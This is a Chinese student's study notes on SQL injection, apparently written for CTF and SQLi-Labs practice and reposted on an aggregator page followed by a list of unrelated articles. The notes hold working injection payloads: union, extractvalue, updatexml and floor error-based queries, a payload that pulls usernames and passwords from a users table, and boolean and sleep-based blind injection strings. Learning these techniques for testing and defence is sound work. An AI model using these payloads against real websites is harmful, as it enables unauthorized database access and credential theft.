「学习笔记」SQL 注入

news/2025/11/30 10:56:10/文章来源:https://www.cnblogs.com/yifan0305/p/19288638

SQL 注入

SQL 注入,通过构造一条精巧的语句,来查询到想要得到的信息。

注入点

注入点就是可以实行注入的地方,通常是一个访问数据库的连接。

字符型注入与数字型注入判断

and 1=2 来判断,能正常显示的是字符型注入,否则为数字型注入。

闭合方式

字符型需要闭合符,数字型不需要。
常见的闭合方式:', ", '), ") 等等。

如何判断闭合方式?

在最后输入 ', ", '", 当报错或者页面为假(页面无回显)。
--+, #, %23 是注释符号。

闭合的作用

手动提交闭合符号,结束前一段查询语句,后面即可加入其他语句,查询需要的参数。

union 联合注入

  1. 查找注入点。
  2. 做任何注入前查询是字符型还是数字型。
  3. 如果是字符型,找到闭合方式。
  4. 判断查询列数,group byorder by.
  5. union 联合注入要找到回显位(在页面上哪个位置显示)。

查询表名和列名

select table_name from information_schema.tables 查询表名。
select column_name from information_schema.columns 查询列名

报错注入

感觉像套话,让报错信息中包含数据库内容(错误信息说漏嘴了hhh 😄)
?id=1' union select 1, 2, dadabase() --+
很明显,这是一个错误的命令,会报错,然而报错信息 FUNCTION security.dadabase does not exist 却把我们的数据库信息 security 暴露出来了。

extractvalue 报错注入

函数 extravalue() 包含两个参数,第一个参数为 XML 文档对象名称,第二个参数为路径。

mysql> create table xml(doc varchar(150));
Query OK, 0 rows affected (0.04 sec)mysql> insert into xml values(''> <book>'> <title>A bad boy how to get a girlfriend</title>'> <author>'> <initial>Love</initial>'> <surname>benben</surname>'> </author>'> </book>'> ');
Query OK, 1 row affected (0.02 sec)mysql> insert into xml values(''> <book>'> <title>How to become a bad boy</title>'> <author>'> <initial>hualong</initial>'> <surname>Melton</surname>'> </author>'> </book>'> ');
Query OK, 1 row affected (0.01 sec)mysql> select extractvalue(doc, '/book/author/surname') from xml;
+-------------------------------------------+
| extractvalue(doc, '/book/author/surname') |
+-------------------------------------------+
| benben                                    |
| Melton                                    |
+-------------------------------------------+
2 rows in set (0.01 sec)

如果我们把查询参数路径写错,他会查询不到内容,但不会报错。

mysql> select extractvalue(doc,'/book/titlelll') from xml;
+------------------------------------+
| extractvalue(doc,'/book/titlelll') |
+------------------------------------+
|                                    |
|                                    |
+------------------------------------+
2 rows in set (0.00 sec)

但如果我们把查询参数格式符号写错,那会有报错信息。

mysql> select extractvalue(doc,'~book/title') from xml;
ERROR 1105 (HY000): XPATH syntax error: '~book/title'

这个报错,会把我们的路径回显出来,我们可以尝试在报错前执行一个select查询语句,从而在报错时回显出我们想要的信息。
select extractvalue(doc, concat(0x7e, (select database()))) from xml;
这里的 0x7e 就是 ~ 的 ASCII 码的 16 进制表示,我们也可以写成 select extractvalue(doc, concat('~', (select database()))) from xml;.
最终是一样的效果。
concat 是拼接函数,会把两个参数拼接起来。
这段命令会回显为

mysql> select extractvalue(doc, concat(0x7e, (select database()))) from xml;
ERROR 1105 (HY000): XPATH syntax error: '~ctfstu'

这个报错默认只能返回 32 个字符串,使用 substring 解决只能返回 32 个字符串问题。?id=100' and 1=extractvalue(1, concat(0x7e, (select substring(group_concat(username, '~', password), 25, 30) from users))) --+
substring 第一个参数是我们要控制输出的字符串,第二个参数为从哪个字符开始显示,第三个字符是显示多少个。

updatexml 报错注入

updatexml 函数包含三个参数,第一个参数是 XML 文档对象的名称,第二个参数为路径,第三个参数是要替换的数据。
报错原理与 extractvalue() 一样,输入错误的路径。

floor 报错

rand(): 随机返回 0~1 间的小数。
floor(): 小数向下取整。
ceiling: 小数向上取整。
concat_ws: 将括号内数据用第一个字段连接起来。
group by: 分组语句,根据一个或多个列,对结果集进行分组。
as: 别名。
count: 汇总统计数量。
limit: 显示指定行数。

rand()

rand() from xml xml 中有几行就随机几次。

mysql> select rand();
+---------------------+
| rand()              |
+---------------------+
| 0.04417609613777706 |
+---------------------+
1 row in set (0.00 sec)mysql> select rand()*2;
+-------------------+
| rand()*2          |
+-------------------+
| 1.312809753523031 |
+-------------------+
1 row in set (0.00 sec)mysql> select rand() from xml;
+---------------------+
| rand()              |
+---------------------+
| 0.14949612612789137 |
|  0.7782660310885553 |
+---------------------+
2 rows in set (0.00 sec)

floor

mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.01 sec)mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

concat_ws

将括号内数据用第一个字段连接起来。

mysql> select concat_ws('-', 3, 2);
+----------------------+
| concat_ws('-', 3, 2) |
+----------------------+
| 3-2                  |
+----------------------+
1 row in set (0.00 sec)

count

汇总统计数量。

mysql> select count(*), 1, 2;
+----------+---+---+
| count(*) | 1 | 2 |
+----------+---+---+
|        1 | 1 | 2 |
+----------+---+---+
1 row in set (0.02 sec)mysql> select count(*) from xml;
+----------+
| count(*) |
+----------+
|        2 |
+----------+
1 row in set (0.00 sec)

核心思想就是利用 group by 的存入计算方式,利用 rand() 函数特定的种子生成特定的序列来造成报错

select count(*), concat('~',(...), floor(rand(0)*2)) as x from information_schema.tables group by x 中,...位置可以被我们替换成其他命令。

盲注

盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜测,实行 SQL 注入。

布尔盲注

web 页面只返回真、假两种类型。利用页面返回不同,逐个猜解数据。

通过 1=11=2 判断页面是否有真假值,以此判断页面是否具有布尔注入的条件。

ascii(): 可以把字母转化成对应数字。

ascii(e)=101 这样的语句,来得到我们想要的信息的名称的各个字母。(听上去有点狗)。

时间盲注

前提:数据库会执行命令代码,只是不返回页面信息。

sleep(): 休眠函数,参数为休眠时长,以秒为单位,可以为小数。
if: 条件。
if(1=2, sleep(0), sleep(3)); 如果条件(1=2)为真,则执行 sleep(0),如果为假,则执行 sleep(3)
?id=1' and if(ascii(substr((select flag from flag), 1, 1)) = 102, sleep(0), sleep(3)) --+
剩下的就是再用布尔盲注比大小。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/981670.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQLi-Labs WP

SQLi-Labs WP less 1 WP 题目中让我们给 id 输入一个数值,我们 GET 一个 id=1.随后我们查询它的类型是否为数字型,用 ?id=1 and 1=2 来判断,然而页面依旧正常,可见这个是字符型。 然后我们查询它的闭合方式。 当我…

Linux服务器无ROOT权限编译安装WRFV3流程记录

无摘要,有空时补充。目前已全面转换为WRF的4版本之后,V3的最后一版源代码储存在这里:https://github.com/NCAR/WRFV3/releases。 自己编译gcc740,gfortran还有gcc以及g++包含在内。 安装online tutorial 编译依赖库…

2025年质量好的处方粮年度热销品牌榜

2025年质量好的处方粮年度热销品牌榜行业背景与市场趋势随着宠物经济的持续升温,中国宠物食品市场规模已突破千亿大关,其中处方粮作为特殊功能性食品,近年来呈现出爆发式增长态势。据《2025中国宠物健康消费白皮书》…

2025 年 11 月 AI 考证权威推荐榜:高效备考与实战认证的优选路径,助力职业发展新突破

2025 年 11 月 AI 考证权威推荐榜:高效备考与实战认证的优选路径,助力职业发展新突破 行业背景与发展趋势 随着人工智能技术的快速发展和广泛应用,AI 人才认证体系正成为行业标准化建设的重要环节。当前,人工智能已…

2025年热门的酒店皮革门/现代轻奢皮革门厂家最新实力排行

2025年热门的酒店皮革门/现代轻奢皮革门厂家实力排行行业背景与市场趋势随着酒店业和高端住宅市场的持续升温,现代轻奢风格的皮革门正成为室内装饰的新宠。2024-2025年,全球酒店装修市场预计将以6.8%的年复合增长率扩…

2025打造雾森设备装置TOP5权威推荐:工业雾森设备系统深

在生态环境优化与工业场景升级的双重驱动下,企业对专业雾森设备的需求持续攀升。2024年数据显示,雾森设备市场规模突破60亿元,年增速达32%,但35%的客户投诉集中在设备稳定性差、后期维护难、场景适配性不足三大痛点…

2025 年 GEO 推广服务商权威推荐榜:专业海外市场拓展与精准引流解决方案深度解析

2025 年 GEO 推广服务商权威推荐榜:专业海外市场拓展与精准引流解决方案深度解析 行业背景与发展趋势 随着全球数字化进程加速,海外市场拓展已成为企业增长的重要引擎。GEO推广(AI搜索推荐优化)作为新兴的数字营销…

2025年正规的测力称重变送器实力厂家TOP推荐榜

2025年正规的测力称重变送器实力厂家TOP推荐榜行业背景与市场趋势测力称重变送器作为工业自动化领域的关键组件,在智能制造、物流仓储、食品医药、化工建材等行业中扮演着不可或缺的角色。随着工业4.0的深入推进和&qu…

2025年质量好的小户型家庭厨房收纳/垃圾桶厨房收纳权威热评精选榜

2025年质量好的小户型家庭厨房收纳/垃圾桶厨房收纳权威热评精选榜开篇:小户型厨房收纳市场趋势与行业背景随着城市化进程加速和房价持续走高,小户型住宅已成为当代年轻家庭的。据统计,2024年全国70平方米以下小户型…

2025年知名的珠宝衣帽间收纳热门款式口碑榜

2025年知名的珠宝衣帽间收纳热门款式口碑榜 开篇:行业背景与市场趋势 随着生活品质的提升,人们对家居收纳的需求日益精细化,尤其是珠宝、首饰、手表等贵重物品的收纳需求更加突出。2024-2025年,全球家居收纳市场…

2025年热门的减速机维修厂家推荐及选购参考榜

2025年热门的减速机维修厂家推荐及选购参考榜行业背景与市场趋势减速机作为工业传动系统的核心部件,广泛应用于冶金、矿山、起重、运输、水泥、建筑、电力、船舶等领域。随着中国制造业的持续升级和智能化转型,减速机…

2025 年 11 月 GEO 源头厂家最新推荐榜单:地理空间数据与遥感技术实力派品牌精选

2025 年 11 月 GEO 源头厂家最新推荐榜单:地理空间数据与遥感技术实力派品牌精选 行业背景与发展趋势 地理空间数据与遥感技术(GEO)作为数字经济的核心基础设施,正迎来前所未有的发展机遇。随着人工智能、云计算和…

2025 年 11 月企业 AI 培训实力机构权威推荐榜:前沿课程定制与实战赋能,助力企业智能化转型加速落地

2025 年 11 月企业 AI 培训实力机构权威推荐榜:前沿课程定制与实战赋能,助力企业智能化转型加速落地 行业背景与发展趋势 随着人工智能技术的快速迭代和应用场景的持续拓展,企业 AI 培训已成为推动组织数字化转型的…

2025年知名的中空板厂家推荐及选择参考

2025年知名的中空板厂家推荐及选择参考行业背景与市场趋势中空板作为一种轻质、高强度、环保的新型包装材料,近年来在光伏、新能源、电子、物流等领域得到广泛应用。随着全球环保意识的提升和"双碳"目标的推…

2025年靠谱的工业净化铝材/无尘车间净化铝材厂家最新推荐权威榜

2025年靠谱的工业净化铝材/无尘车间净化铝材厂家推荐权威榜行业背景与市场趋势随着我国制造业向高端化、智能化方向快速发展,工业净化铝材和无尘车间净化铝材市场需求持续增长。2024年,中国工业净化铝材市场规模已突…

【C編程】Python調用C

如何在Python語言中調用C庫? C側:.c文件編譯為.dll文件或.so文件,而不是一般的.o文件。例如:gcc -shared -o demo.dll demo.c Python側:用ctypes庫的CDLL函數調用該.dll或.so文件。例如: from ctypes import CDL…

2025年比较好的大管径熔盐缩管机/毛细管缩管机厂家最新推荐权威榜

2025年比较好的大管径熔盐缩管机/毛细管缩管机厂家推荐权威榜 行业背景与市场趋势 随着新能源、化工、电热设备等行业的快速发展,大管径熔盐缩管机和毛细管缩管机的市场需求持续增长。熔盐缩管机主要用于太阳能热发…

2025 年 11 月 GEO 贴牌厂家实力推荐榜:专业 OEM/ODM 定制工厂,覆盖电子数码、智能穿戴及美妆个护领域的创新合作之选

2025 年 11 月 GEO 贴牌厂家实力推荐榜:专业 OEM/ODM 定制工厂,覆盖电子数码、智能穿戴及美妆个护领域的创新合作之选 行业背景与发展趋势 随着全球制造业的数字化转型加速,GEO贴牌(Geo-Enabled OEM)模式正在成为…

开发-视频播放

管理员上传视频 首先是去找现有的框架,我找的是Django+video.js,在终端下载Django后就可以去创建Django项目了,而后我创建了一个名为video_project的根目录,接着创建视频应用video_app,创建media文件夹储存后台上…

2025年十11月自动化厂家排行榜对比评价:五大优选品牌深度解析与选购指南

一、引言 在工业自动化日益成为制造业核心竞争力的今天,选择合适的自动化设备厂家对于企业提升生产效率、保障系统稳定性及降低长期运营成本具有至关重要的意义。本文主要面向制造业企业采购负责人、工厂自动化项目工…